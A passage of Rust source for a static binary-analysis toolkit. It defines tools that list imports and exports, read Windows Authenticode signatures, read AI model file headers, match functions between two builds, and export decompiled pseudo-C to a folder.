offers to others, without analysing it. Windows: the export directory with ordinals, names, ordinal-only entries and forwarders to other libraries. ELF: exported dynamic symbols with their versions. Mach-O: the export list. Paged (offset/limit); contains keeps rows whose name or forwarder holds that text. Uses the active target unless path is given.", + "See what a library offers to the programs that use it.", + Toolset::Formats, + e, + Requires::Nothing, + schema_of::, + native_offered_symbols_list, + ), + spec( + "native_publisher_show", + "Who signed this Windows program", + "Read a Windows program's Authenticode signature block: each certificate table entry, the signer's subject, issuer, serial and validity dates, every embedded certificate, and the digest algorithm. Checks what the file alone can show: its hash against the signed hash, the signature against the embedded signer certificate, and how the embedded certificates link. Doesn't check whether Windows trusts them, revocation, expiry against any date, or catalog signing, and lists timestamps and nested signatures without reading them. Uses the active target unless path is given.", + "Find out who signed a Windows program, and whether the file still matches that signature.", + Toolset::Formats, + e, + Requires::Nothing, + schema_of::, + native_publisher_show, + ), + spec( + "formats_ai_weights_show", + "AI model file", + "Read an AI model file's header: GGUF (versions 2 and 3) or safetensors. Architecture, name, quantization, approximate parameter count, metadata keys and values (long values shortened), and tensors with their types and shapes, paged (offset/limit). Reads at most max_header_bytes from the start of the file, so very large models are fine; tensor data is never read. Uses the active target unless path is given.", + "See what kind of AI model a file holds and how big it is, without loading it.", + Toolset::Formats, + e, + Requires::Nothing, + schema_of::, + formats_ai_weights_show, + ), + spec( + "app_builds_line_up", + "Match functions between two builds", + "Pair the functions of two builds of a program (two absolute paths) with the built-in engine. In order: unique names that aren't generated; identical bytes; bytes with addresses masked out; a structural fingerprint of block count, called names and referenced strings. Each pair says how it was matched, with what confidence, and what comparing the bodies found: a pair by name is still reported as changed when its code differs. Candidates that can't be told apart stay unpaired and are listed as ambiguous. Lists are paged together (offset/limit); show picks one; detail=summary keeps every row for core_evidence_browse. Nothing is executed. Takes as long as analysing both programs.", + "Line up the functions of an old and a new version of a program, to see what changed.", + Toolset::Native, + e, + Requires::Nothing, + schema_of::, + app_builds_line_up, + ), + spec( + "native_source_folder_write", + "Write pseudo-C to a folder", + "Write each function of the active target as pseudo-C to its own file in a folder, across as many runs as it takes: running again with the same folder skips what's done and continues, and a state file records the target's SHA-256 (another target is refused) and each finished function. Each call stops at max_functions or max_seconds and says how far it got. Files are written atomically. Uses the built-in decompiler, as native_functions_decompile does. Refuses a folder with other files in it.", + "Save a whole program as readable code files, a part at a time.", + Toolset::Native, + Effects::MUTATES_SESSION | Effects::WRITES_FILESYSTEM | Effects::CARRIES_TARGET_CONTENT, + Requires::Target, + schema_of::, + native_source_folder_write, + ), + ] +} + +fn d_limit() -> usize { + super::native_common::DEFAULT_LIMIT +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ListParams { + /// Absolute path of the program; the active target when omitted. + #[serde(default)] + pub path: Option, + /// Keep rows whose name or library holds this text (any case). + #[serde(default)] + pub contains: Option, + /// Keep one kind: normal, delay, dynamic, weak, load, reexport, lazy, upward. + #[serde(default)] + pub kind: Option, + #[serde(default)] + pub offset: usize, + /// Rows per page (1..=5000, default 200). + #[serde(default = "d_limit")] + pub limit: usize, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ExportParams { + /// Absolute path of the program or library; the active target when omitted. + #[serde(default)] + pub path: Option, + /// Keep rows whose name or forwarder holds this text (any case). + #[serde(default)] + pub contains: Option, + #[serde(default)] + pub offset: usize, + /// Rows per page (1..=5000, default 200). + #[serde(default = "d_limit")] + pub limit: usize, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct SignerParams { + /// Absolute path of the Windows program; the active target when omitted. + #[serde(default)] + pub path: Option, +} + +fn d_header_bytes() -> u64 { + DEFAULT_HEADER_BYTES +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ModelParams { + /// Absolute path of the model file; the active target when omitted. + #[serde(default)] + pub path: Option, + /// Most bytes read from the start of the file (1 KiB..4 GiB, default 256 MiB). + #[serde(default = "d_header_bytes")] + pub max_header_bytes: u64, + #[serde(default)] + pub offset: usize, + /// Tensors per page (1..=5000, default 200). + #[serde(default = "d_limit")] + pub limit: usize, + /// complete (default) or summary. + #[serde(default)] + pub detail: Detail, +} + +/// Which list of a match to return. +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Deserialize, Serialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum MatchShow { + #[default] + All, + Pairs, + Changed, + Ambiguous, + OnlyLeft, + OnlyRight, +} + +fn d_match_bytes() -> u64 { + DEFAULT_MATCH_BYTES +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct MatchParams { + /// Absolute path of the first (older) build. + pub left: String, + /// Absolute path of the second (newer) build. + pub right: String, + /// all (default), pairs, changed (pairs whose code differs), ambiguous, only_left or only_right. + #[serde(default)] + pub show: MatchShow, + /// Refuse files bigger than this (up to 2 GiB, default 512 MiB). + #[serde(default = "d_match_bytes")] + pub max_file_bytes: u64, + #[serde(default)] + pub offset: usize, + /// Rows per list (1..=5000, default 200). + #[serde(default = "d_limit")] + pub limit: usize, + /// complete (default) returns the page; summary keeps every row for core_evidence_browse. + #[serde(default)] + pub detail: Detail, +} + +fn d_max_functions() -> usize { + 1000 +} + +fn d_max_seconds() -> u64 { + 120 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ExportCodeParams { + /// Open target (document) to use; the active one when omitted. + #[serde(default)] + pub document: Option, + /// Absolute path of the folder to write to: new or empty, or one an earlier run of this tool wrote. + pub folder: String, + /// Most functions to write in this call (1..=1000000, default 1000). + #[serde(default = "d_max_functions")] + pub max_functions: usize, + /// Stop starting new functions after this long (0..=3600, default 120). + #[serde(default = "d_max_seconds")] + pub max_seconds: u64, +} + +fn holds(text: &str, needle_lower: &str) -> bool { + text.to_lowercase().contains(needle_lower) +} + +fn notes_limitation(notes: &[String]) -> Option { + (!notes.is_empty()).then(|| Limitation::new("reader_notes", notes.join("; "))) +} + +fn page_coverage(mut cov: Coverage, truncated: bool) -> Coverage { + if truncated { + cov.status = CoverageStatus::Partial; + } + cov +} + +fn slice_limitation(b: &Binary) -> Option { + (b.slice_offset != 0).then(|| Limitation::new("one_slice", format!("This is a universal file; only its {} part was read.", b.arch.name()))) +} + +// --------------------------------------------------------------------------------------------- +// Imports + +/// One imported function, whatever the file format. +#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, Serialize)] +struct ImportEntry { + library: Option, + kind: String, + name: Option, + #[serde(skip_serializing_if = "Option::is_none")] + ordinal: Option, + #[serde(skip_serializing_if = "Option::is_none")] + hint: Option, + #[serde(skip_serializing_if = "Option::is_none")] + slot: Option, + #[serde(skip_serializing_if = "Option::is_none")] + version: Option, + #[serde(skip_serializing_if = "std::ops::Not::not")] + bound: bool, +} + +#[derive(Default)] +struct ImportFacts { + rows: Vec, + /// Libraries with how they're linked, even those no row names. + libraries: BTreeMap>, + bound_modules: Value, + truncated: bool, + notes: Vec, +} + +fn pe_import_facts(data: &[u8]) -> Result { + let h = pe::headers(data).map_err(|e| format_err(e, "a Windows program"))?; + let t = pe::import_table(data, &h); + let mut f = ImportFacts { truncated: t.truncated, notes: t.warnings, bound_modules: json!(t.bound_modules), ..ImportFacts::default() }; + for r in t.rows { + f.libraries.entry(r.library.clone()).or_default().insert(r.kind.name().to_string()); + f.rows.push(ImportEntry { + library: Some(r.library), + kind: r.kind.name().to_string(), + name: r.name, + ordinal: r.ordinal, + hint: r.hint, + slot: r.slot_va.map(|a| format!("{a:#x}")), + version: None, + bound: r.bound, + }); + } + Ok(f) +} + +fn elf_import_facts(data: &[u8], b: &Binary) -> ImportFacts { + let mut f = ImportFacts::default(); + for lib in &b.libraries { + f.libraries.entry(lib.clone()).or_default().insert("needed".to_string()); + } + let plain = |name: String, library: Option, kind: &str, version: Option| ImportEntry { + library, + kind: kind.to_string(), + name: Some(name), + ordinal: None, + hint: None, + slot: None, + version, + bound: false, + }; + match elf::dynamic_symbols(data, b) { + Some(s) => { + f.truncated = s.truncated; + f.notes = s.warnings; + for i in s.imports { + let kind = if i.binding == "weak" { "weak" } else { "dynamic" }; + f.rows.push(plain(i.name, i.library, kind, i.version)); + } + } + None => { + f.notes.push("The file has no named dynamic symbol section, so versions weren't read.".into()); + f.rows.extend(b.imports.iter().map(|i| plain(i.name.clone(), i.library.clone(), "dynamic", None))); + } + } + f +} + +fn macho_import_facts(data: &[u8], b: &Binary) -> ImportFacts { + let mut f = ImportFacts::default(); + let slice = usize::try_from(b.slice_offset).ok().and_then(|o| data.get(o..)).unwrap_or(data); + let mut linked: BTreeMap = BTreeMap::new(); + match macho_deps::parse_thin(slice) { + Ok(d) => { + for lib in &d.dylibs { + linked.insert(lib.name.clone(), lib.kind); + f.libraries.entry(lib.name.clone()).or_default().insert(lib.kind.to_string()); + } + } + Err(e) => f.notes.push(format!("Load commands weren't read: {e}")), + } + for lib in &b.libraries { + f.libraries.entry(lib.clone()).or_default(); + } + for i in &b.imports { + let kind = i.library.as_ref().and_then(|l| linked.get(l)).copied().unwrap_or("dynamic"); + f.rows.push(ImportEntry { + library: i.library.clone(), + kind: kind.to_string(), + name: Some(i.name.clone()), + ordinal: None, + hint: None, + slot: i.slot.map(|a| format!("{a:#x}")), + version: None, + bound: false, + }); + } + f +} + +fn native_library_calls_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ListParams = parse_params(params)?; + let input = static_input::load(ctx, p.path.as_deref(), MAX_PROGRAM)?; + let b = parse_binary(&input.bytes).map_err(|e| format_err(e, "a program"))?; + let mut facts = match b.format { + Format::Pe => pe_import_facts(&input.bytes)?, + Format::Elf => elf_import_facts(&input.bytes, &b), + Format::MachO => macho_import_facts(&input.bytes, &b), + other => { + return Err( + ToolError::unsupported(format!("{} files don't list imports here.", other.plain())).with_remediation("Pass an ELF, PE or Mach-O program.") + ); + } + }; + facts.rows.sort(); + let total = facts.rows.len(); + let needle = p.contains.as_deref().map(str::to_lowercase); + let kind = p.kind.as_deref(); + let rows: Vec<&ImportEntry> = facts + .rows + .iter() + .filter(|r| kind.is_none_or(|k| r.kind == k)) + .filter(|r| needle.as_deref().is_none_or(|n| r.name.as_deref().is_some_and(|x| holds(x, n)) || r.library.as_deref().is_some_and(|x| holds(x, n)))) + .collect(); + let mut per_library: BTreeMap<&str, (usize, usize)> = BTreeMap::new(); + for r in &facts.rows { + let slot = per_library.entry(r.library.as_deref().unwrap_or("")).or_insert((0, 0)); + slot.0 += 1; + slot.1 += usize::from(r.ordinal.is_some() && r.name.is_none()); + } + let libraries: Vec = facts + .libraries + .iter() + .map(|(name, kinds)| { + let (count, ordinals) = per_library.get(name.as_str()).copied().unwrap_or((0, 0)); + json!({"name": name, "kinds": kinds, "imports": count, "by_ordinal_only": ordinals}) + }) + .collect(); + let (items, cov) = page(&rows, p.offset, p.limit); + let delay = facts.rows.iter().filter(|r| r.kind == "delay").count(); + let delay_note = if delay > 0 { format!(", {delay} of them delay-loaded") } else { String::new() }; + let summary = format!("{total} imported function(s) from {} librar{}{delay_note}.", libraries.len(), if libraries.len() == 1 { "y" } else { "ies" }); + let mut e = builder(ctx, "native_library_calls_list", input.subject.clone(), params_json(&p)) + .result(json!({"path": input.path, "format": b.format, "total": total, "matching": rows.len(), "libraries": libraries, "imports": items, "bound_modules": facts.bound_modules})) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OriginalFiles) + .target_content(true) + .coverage(page_coverage(cov, facts.truncated)) + .location(Location::new("path", input.path.display().to_string())); + if facts.truncated { + e = e.limitation(Limitation::new("list_capped", "The file declares more imports than are kept from one file; the list stops there.")); + } + if let Some(l) = notes_limitation(&facts.notes) { + e = e.limitation(l); + } + if let Some(l) = slice_limitation(&b) { + e = e.limitation(l); + } + if total == 0 { + e = e.limitation(Limitation::new( + "absence_not_proof", + "Listing no imports doesn't mean the program uses no libraries: it can load them while it runs, by name, which leaves no entry here.", + )); + } + Ok(ToolOutput::evidence(e.build()?)) +} + +// --------------------------------------------------------------------------------------------- +// Exports + +#[derive(Debug, Clone, PartialEq, Eq, Serialize)] +struct ExportEntry { + name: Option, + #[serde(skip_serializing_if = "Option::is_none")] + ordinal: Option, + #[serde(skip_serializing_if = "Option::is_none")] + address: Option, + #[serde(skip_serializing_if = "Option::is_none")] + forwarder: Option, + #[serde(skip_serializing_if = "Option::is_none")] + kind: Option<&'static str>, + #[serde(skip_serializing_if = "Option::is_none")] + binding: Option<&'static str>, + #[serde(skip_serializing_if = "Option::is_none")] + version: Option, + #[serde(skip_serializing_if = "Option::is_none")] + size: Option, +} + +fn native_offered_symbols_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ExportParams = parse_params(params)?; + let input = static_input::load(ctx, p.path.as_deref(), MAX_PROGRAM)?; + let data: &[u8] = &input.bytes; + let b = parse_binary(data).map_err(|e| format_err(e, "a program"))?; + let plain = |name: String, addr: u64| ExportEntry { + name: Some(name), + ordinal: None, + address: Some(format!("{addr:#x}")), + forwarder: None, + kind: None, + binding: None, + version: None, + size: None, + }; + let mut rows = Vec::new(); + let mut truncated = false; + let mut notes = Vec::new(); + let mut extra = json!({}); + match b.format { + Format::Pe => { + let h = pe::headers(data).map_err(|e| format_err(e, "a Windows program"))?; + if let Some(t) = pe::export_table(data, &h) { + truncated = t.truncated; + notes = t.warnings; + extra = json!({"library_name": t.dll_name, "ordinal_base": t.ordinal_base, "declared_functions": t.declared_functions, "declared_names": t.declared_names}); + for x in t.entries { + let address = x.forwarder.is_none().then(|| format!("{:#x}", h.image_base.wrapping_add(u64::from(x.rva)))); + rows.push(ExportEntry { + name: x.name, + ordinal: Some(x.ordinal), + address, + forwarder: x.forwarder, + kind: None, + binding: None, + version: None, + size: None, + }); + } + } + } + Format::Elf => match elf::dynamic_symbols(data, &b) { + Some(s) => { + truncated = s.truncated; + notes = s.warnings; + for x in s.exports { + rows.push(ExportEntry { + name: Some(x.name), + ordinal: None, + address: Some(format!("{:#x}", x.addr)), + forwarder: None, + kind: Some(x.kind), + binding: Some(x.binding), + version: x.version, + size: Some(x.size), + }); + } + } + None => { + notes.push("The file has no named dynamic symbol section, so versions weren't read.".to_string()); + rows.extend(b.exports.iter().map(|x| plain(x.name.clone(), x.addr))); + } + }, + Format::MachO => rows.extend(b.exports.iter().map(|x| plain(x.name.clone(), x.addr))), + other => { + return Err(ToolError::unsupported(format!("{} files don't list exports here.", other.plain())).with_remediation("Pass an ELF, PE or Mach-O file.")); + } + } + let total = rows.len(); + let forwarded = rows.iter().filter(|r| r.forwarder.is_some()).count(); + let by_ordinal = rows.iter().filter(|r| r.name.is_none()).count(); + let needle = p.contains.as_deref().map(str::to_lowercase); + let kept: Vec<&ExportEntry> = rows + .iter() + .filter(|r| needle.as_deref().is_none_or(|n| r.name.as_deref().is_some_and(|x| holds(x, n)) || r.forwarder.as_deref().is_some_and(|x| holds(x, n)))) + .collect(); + let (items, cov) = page(&kept, p.offset, p.limit); + let mut parts = Vec::new(); + if forwarded > 0 { + parts.push(format!("{forwarded} forwarded to other libraries")); + } + if by_ordinal > 0 { + parts.push(format!("{by_ordinal} by ordinal only")); + } + let tail = if parts.is_empty() { String::new() } else { format!(" ({})", parts.join(", ")) }; + let mut e = builder(ctx, "native_offered_symbols_list", input.subject.clone(), params_json(&p)) + .result(json!({"path": input.path, "format": b.format, "total": total, "matching": kept.len(), "forwarded": forwarded, "ordinal_only": by_ordinal, "details": extra, "exports": items})) + .summary(format!("{total} export(s){tail}.")) + .confidence(Confidence::Observed) + .authority(Authority::OriginalFiles) + .target_content(true) + .coverage(page_coverage(cov, truncated)) + .location(Location::new("path", input.path.display().to_string())); + if truncated { + e = e.limitation(Limitation::new("list_capped", "The file's export table couldn't be read to its end, or holds more than are kept from one file.")); + } + if let Some(l) = notes_limitation(¬es) { + e = e.limitation(l); + } + if let Some(l) = slice_limitation(&b) { + e = e.limitation(l); + } + Ok(ToolOutput::evidence(e.build()?)) +} + +// --------------------------------------------------------------------------------------------- +// Signature block + +/// The plain sentence for one signature: who, then only what was checked. +fn signature_sentence(s: &SignatureReport) -> String { + let who = s.signer.as_ref().map_or_else(|| "an unnamed signer".to_string(), |c| c.subject.clone()); + let mut out = format!("Signed by {who}."); + match s.file_hash { + HashStatus::Matches => out.push_str(" The file's hash matches the signed hash."), + HashStatus::Differs => { + out.push_str(" The file's hash does NOT match the signed hash: the file changed after signing, or the signature came from another file.") + } + HashStatus::NotChecked => out.push_str(" The file's hash wasn't checked."), + } + match &s.signature_check { + Verified::Valid => out.push_str(" The signature checks out against the certificate in the file."), + Verified::Invalid => out.push_str(" The signature does NOT check out against the certificate in the file."), + Verified::Unsupported { .. } => out.push_str(" The signature itself wasn't checked."), + } + out.push_str(" Whether Windows trusts that certificate wasn't checked."); + out +} + +fn native_publisher_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SignerParams = parse_params(params)?; + let input = static_input::load(ctx, p.path.as_deref(), MAX_PROGRAM)?; + ctx.report(None, format!("Reading the signature block of {}", input.name)); + let h = pe::headers(&input.bytes).map_err(|e| format_err(e, "a Windows program"))?; + let table: Option = authenticode::certificate_table(&input.bytes, &h); + let signature = table.as_ref().and_then(|t| t.entries.iter().find_map(|x| x.signature.as_ref())); + let summary = match (&table, signature) { + (None, _) => "This file has no signature block.".to_string(), + (Some(_), Some(s)) if s.parsed => signature_sentence(s), + (Some(_), Some(_)) => "This file has a signature block, but it isn't well-formed, so nothing can be said about who signed it.".to_string(), + (Some(t), None) if t.entries.is_empty() => "The file declares a signature block, but no entry could be read from it.".to_string(), + (Some(_), None) => "The file's signature block holds no Authenticode signature.".to_string(), + }; + let signed = signature.is_some_and(|s| s.parsed); + let mut lims = Vec::new(); + if table.is_none() { + lims.push(Limitation::new( + "catalog_possible", + "No signature block in the file doesn't prove it's unsigned to Windows: a system catalog may vouch for it from outside, which this can't see.", + )); + } + if signed { + lims.push(Limitation::new( + "trust_not_checked", + "Certificates were read from the file. They weren't checked against any trust store, for revocation, or against the current date, so a matching signature can still come from an untrusted or expired certificate.", + )); + lims.push(Limitation::new( + "hash_method", + "The file hash covers everything except the header checksum, the security directory entry and the certificate table. Windows hashes sections in order, so a file with unusual gaps between them could read as different here though Windows accepts it.", + )); + } + if signature.is_some_and(|s| !s.unsigned_attributes.is_empty()) { + lims.push(Limitation::new("attachments_not_read", "Timestamps and nested signatures attached to the signature are listed, not read or checked.")); + } + if let Some(l) = table.as_ref().and_then(|t| notes_limitation(&t.warnings)) { + lims.push(l); + } + let result = json!({ + "path": input.path, + "has_signature_block": table.is_some(), + "signed": signed, + "file_hash": signature.map(|s| s.file_hash), + "signature_check": signature.map(|s| &s.signature_check), + "signer": signature.and_then(|s| s.signer.as_ref()), + "table": table, + }); + let mut b = builder(ctx, "native_publisher_show", input.subject.clone(), params_json(&p)) + .result(result) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OriginalFiles) + .target_content(true) + .limitations(lims) + .coverage(Coverage::complete(1)) + .location(Location::new("path", input.path.display().to_string())); + if let Some(t) = &table { + b = b.location(Location::new("file_offset", format!("{:#x}", t.file_offset)).with_label("certificate table")); + } + Ok(ToolOutput::evidence(b.build()?)) +} + +// --------------------------------------------------------------------------------------------- +// AI models + +fn native_format_name(f: ai_model::ModelFormat) -> &'static str { + match f { + ai_model::ModelFormat::Gguf => "GGUF", + ai_model::ModelFormat::Safetensors => "safetensors", + } +} + +fn formats_ai_weights_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ModelParams = parse_params(params)?; + if !(MIN_HEADER_BYTES..=MAX_HEADER_BYTES).contains(&p.max_header_bytes) { + return Err(ToolError::invalid(format!("max_header_bytes must be between {MIN_HEADER_BYTES} and {MAX_HEADER_BYTES}"))); + } + let input = static_input::load_prefix(ctx, p.path.as_deref(), p.max_header_bytes)?; + let mut r = ai_model::parse(&input.bytes, input.file_size).map_err(|e| match e { + craft_anything_formats::FormatError::TooLarge(m) => { + ToolError::new(ErrorCode::OverLimit, format!("Couldn't read this model's header: {m}")).with_remediation("Raise max_header_bytes (up to 4 GiB).") + } + other => format_err(other, "a GGUF or safetensors model"), + })?; + let tensors = std::mem::take(&mut r.tensors); + // summary keeps every tensor, for core_evidence_browse; complete returns the asked-for page. + let (items, cov) = if p.detail == Detail::Summary { + let all: Vec = tensors.iter().map(|t| serde_json::to_value(t).unwrap_or(Value::Null)).collect(); + let n = all.len() as u64; + (all, Coverage::complete(n)) + } else { + page(&tensors, p.offset, p.limit) + }; + let arch = r.architecture.as_deref().map_or_else(|| "A model with no recorded architecture".to_string(), |a| format!("A {a} model")); + let quant = r.quantization.as_deref().map_or_else(String::new, |q| format!(", quantized as {q}")); + let summary = format!( + "{arch} in {} format: about {} parameters in {} tensors{quant}.", + native_format_name(r.format), + ai_model::plain_count(r.parameters), + r.tensors_read, + ); + let mut lims = vec![Limitation::new("tensor_data_not_read", "Only the header was read. Whether the tensor data is really there and sound wasn't checked.")]; + if !input.whole { + lims.push(Limitation::new( + "part_of_file_read", + format!("Only the first {} of {} bytes were read, so this record's identity has no SHA-256 for the file.", input.bytes.len(), input.file_size), + )); + } + if !r.complete { + lims.push(Limitation::new( + "header_incomplete", + "The header wasn't read to its end: tensors and metadata listed may not be all of them, and the totals count only what was read.", + )); + } + if let Some(l) = notes_limitation(&r.warnings) { + lims.push(l); + } + if r.format == ai_model::ModelFormat::Safetensors && r.architecture.is_none() { + lims.push(Limitation::new("architecture_not_recorded", "safetensors files need not say what model they hold, and this one doesn't.")); + } + let extras = json!({"format": r.format, "architecture": r.architecture, "parameters": r.parameters, "tensors": r.tensors_read, "complete": r.complete}); + let confidence = if r.complete { Confidence::Observed } else { Confidence::Inferred }; + let mut coverage = cov; + if !r.complete { + coverage.status = CoverageStatus::Partial; + } + let e = builder(ctx, "formats_ai_weights_show", input.subject.clone(), params_json(&p)) + .result(json!({"path": input.path, "bytes_read": input.bytes.len(), "report": r, "tensors": items})) + .summary(summary) + .confidence(confidence) + .authority(Authority::OriginalFiles) + .target_content(true) + .limitations(lims) + .coverage(coverage) + .location(Location::new("path", input.path.display().to_string())) + .build()?; + detailed(ctx, e, p.detail, extras) +} + +// --------------------------------------------------------------------------------------------- +// Matching two builds + +fn analyse_side(ctx: &Ctx<'_>, path: &str, max: u64, side: &str) -> Result<(static_input::Input, Image, Program), ToolError> { + let input = static_input::load_path(path, max)?; + ctx.report(None, format!("Analysing the {side} build, {}", input.name)); + let img = Image::parse(input.bytes.clone()).map_err(disasm_err)?; + let prog = Program::analyze(&img, &Limits::default(), &CtxControl::of(ctx)).map_err(disasm_err)?; + Ok((input, img, prog)) +} + +/// Functions under the size where a body says enough to pair on: small stubs often stay listed on +/// both sides though nothing happened to them. +fn too_small(rows: &[function_match::FunctionRef]) -> usize { + rows.iter().filter(|f| f.size < function_match::MIN_BODY_BYTES).count() +} + +fn is_changed(p: &MatchedPair) -> bool { + p.body == BodyStatus::Changed +} + +fn method_counts(r: &MatchResult) -> Value { + let mut counts: BTreeMap<&str, usize> = BTreeMap::new(); + for m in [MatchMethod::ExactName, MatchMethod::IdenticalBytes, MatchMethod::MaskedBytes, MatchMethod::Structure] { + counts.insert(m.name(), r.pairs.iter().filter(|p| p.method == m).count()); + } + json!(counts) +} + +fn app_builds_line_up(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: MatchParams = parse_params(params)?; + if p.max_file_bytes > MAX_PROGRAM { + return Err(ToolError::invalid(format!("max_file_bytes can be at most {MAX_PROGRAM}"))); + } + let (left, limg, lprog) = analyse_side(ctx, &p.left, p.max_file_bytes, "first")?; + ctx.cancel.check()?; + let (right, rimg, rprog) = analyse_side(ctx, &p.right, p.max_file_bytes, "second")?; + ctx.cancel.check()?; + let r = function_match::match_programs((&limg, &lprog), (&rimg, &rprog), &CtxControl::of(ctx)).map_err(disasm_err)?; + + let changed: Vec<&MatchedPair> = r.pairs.iter().filter(|x| is_changed(x)).collect(); + let unchanged = r.pairs.iter().filter(|x| matches!(x.body, BodyStatus::Identical | BodyStatus::SameApartFromAddresses)).count(); + let not_compared = r.pairs.iter().filter(|x| x.body == BodyStatus::NotCompared).count(); + let renamed = r.pairs.iter().filter(|x| x.renamed).count(); + let weak = r.pairs.iter().filter(|x| x.method == MatchMethod::Structure).count(); + let summary = format!( + "Paired {} of {} and {} functions: {unchanged} unchanged, {} changed{}{}. Left unpaired: {} ambiguous group(s), {} only in the first build, {} only in the second.", + r.pairs.len(), + lprog.functions.len(), + rprog.functions.len(), + changed.len(), + if not_compared > 0 { format!(", {not_compared} not compared") } else { String::new() }, + if renamed > 0 { format!(", {renamed} renamed") } else { String::new() }, + r.ambiguous.len(), + r.only_left.len(), + r.only_right.len(), + ); + let counts = json!({ + "left_functions": lprog.functions.len(), + "right_functions": rprog.functions.len(), + "pairs": r.pairs.len(), + "by_method": method_counts(&r), + "unchanged": unchanged, + "changed": changed.len(), + "not_compared": not_compared, + "renamed": renamed, + "ambiguous_groups": r.ambiguous.len(), + "only_left": r.only_left.len(), + "only_right": r.only_right.len(), + "only_left_too_small_to_pair": too_small(&r.only_left), + "only_right_too_small_to_pair": too_small(&r.only_right), + }); + + // summary keeps every row, for core_evidence_browse; complete returns the asked-for page. + let (offset, limit) = if p.detail == Detail::Summary { (0, usize::MAX) } else { (p.offset, p.limit.clamp(1, super::native_common::MAX_LIMIT)) }; + let window = |rows: Vec| -> (Vec, usize) { + let total = rows.len(); + (rows.into_iter().skip(offset).take(limit).collect(), total) + }; + let to_values = |rows: Vec| window(rows); + let wants = |s: MatchShow| p.show == MatchShow::All || p.show == s; + let mut result = json!({ + "left": {"path": left.path, "sha256": left.subject.sha256, "processor": lprog.mode.name()}, + "right": {"path": right.path, "sha256": right.subject.sha256, "processor": rprog.mode.name()}, + "counts": counts, + }); + let mut examined = 0usize; + let mut more = false; + let mut add = |key: &str, rows: Vec| { + let (page_rows, total) = to_values(rows); + examined += page_rows.len(); + more |= offset.saturating_add(page_rows.len()) < total; + if let Value::Object(m) = &mut result { + m.insert(key.to_string(), Value::Array(page_rows)); + } + }; + let as_json = |x: &[&MatchedPair]| x.iter().map(|v| serde_json::to_value(v).unwrap_or(Value::Null)).collect::>(); + if p.show == MatchShow::Changed { + add("pairs", as_json(&changed)); + } else if wants(MatchShow::Pairs) { + add("pairs", as_json(&r.pairs.iter().collect::>())); + } + if wants(MatchShow::Ambiguous) { + add("ambiguous", r.ambiguous.iter().map(|v| serde_json::to_value(v).unwrap_or(Value::Null)).collect()); + } + if wants(MatchShow::OnlyLeft) { + add("only_left", r.only_left.iter().map(|v| serde_json::to_value(v).unwrap_or(Value::Null)).collect()); + } + if wants(MatchShow::OnlyRight) { + add("only_right", r.only_right.iter().map(|v| serde_json::to_value(v).unwrap_or(Value::Null)).collect()); + } + + let capped = lprog.discovery_capped() || rprog.discovery_capped(); + let mut coverage = Coverage { + status: if more || capped { CoverageStatus::Partial } else { CoverageStatus::Complete }, + examined: Some(examined as u64), + total: None, + next_offset: more.then(|| offset.saturating_add(limit) as u64), + }; + if !more && !capped { + coverage.total = Some(examined as u64); + } + let mut lims = vec![ + Limitation::new( + "changed_may_be_addresses", + "\"changed\" means the bytes differ after the address fields the engine recognises are masked. An address built in a way it doesn't follow (across blocks, say) stays unmasked, so a changed function can be the same code moved. x86 and arm64 are masked; other processors compare exact bytes only.", + ), + Limitation::new( + "same_name_not_same_code", + "An exact-name pair says two functions correspond, not that the code is the same; read each pair's body field. \"unchanged\" compares this function's instructions, what it calls by name and the strings it uses, not the data it reads or how the functions it calls behave.", + ), + Limitation::new( + "unpaired_not_removed", + "A function listed on one side only isn't proof that it was added or removed: it may have been renamed and rewritten, inlined, split, not found by the analysis, or too small and unnamed to pair (bodies under 16 bytes aren't paired on bytes; counts has how many).", + ), + ]; + if weak > 0 { + lims.push(Limitation::new( + "structural_pairs_are_guesses", + format!("{weak} pair(s) rest only on block count, called names and strings; two different functions can share those."), + )); + } + if capped { + lims.push(Limitation::new("discovery_capped", "Function discovery hit a limit on at least one side, so some functions weren't considered.")); + } + if lprog.mode != rprog.mode { + lims.push(Limitation::new( + "different_processors", + format!( + "The builds are for different processors ({} and {}), so only names were matched and no bodies were compared.", + lprog.mode.name(), + rprog.mode.name() + ), + )); + } + let e = builder(ctx, "app_builds_line_up", right.subject.clone(), params_json(&p)) + .result(result) + .summary(summary) + .confidence(if weak > 0 { Confidence::Inferred } else { Confidence::Derived }) + .authority(Authority::OriginalFiles) + .target_content(true) + .limitations(lims) + .coverage(coverage) + .location(Location::new("path", left.path.display().to_string()).with_label("first build")) + .location(Location::new("path", right.path.display().to_string()).with_label("second build")) + .build()?; + detailed(ctx, e, p.detail, json!({"counts": counts})) +} + +// --------------------------------------------------------------------------------------------- +// Writing pseudo-C across runs + +/// The state file's name inside an export folder. +pub const EXPORT_STATE_FILE: &str = "craft-pseudocode-export.json"; +/// The state file's format version. +const EXPORT_STATE_VERSION: u32 = 1; +/// Save the state at least this often, so a crash costs little repeated work. +const SAVE_EVERY_FUNCTIONS: usize = 256; +const SAVE_EVERY: Duration = Duration::from_secs(5); +/// Most newly written file names listed in one result. +const MAX_LISTED: usize = 200; + +/// One function that has been written. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +struct ExportedFunction { + file: String, + name: String, + lines: usize, + structured: bool, +} + +/// What an export folder holds, by function entry. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +struct ExportState { + version: u32, + target_sha256: String, + target_name: String, + engine: String, + functions: BTreeMap, +} + +/// A file name 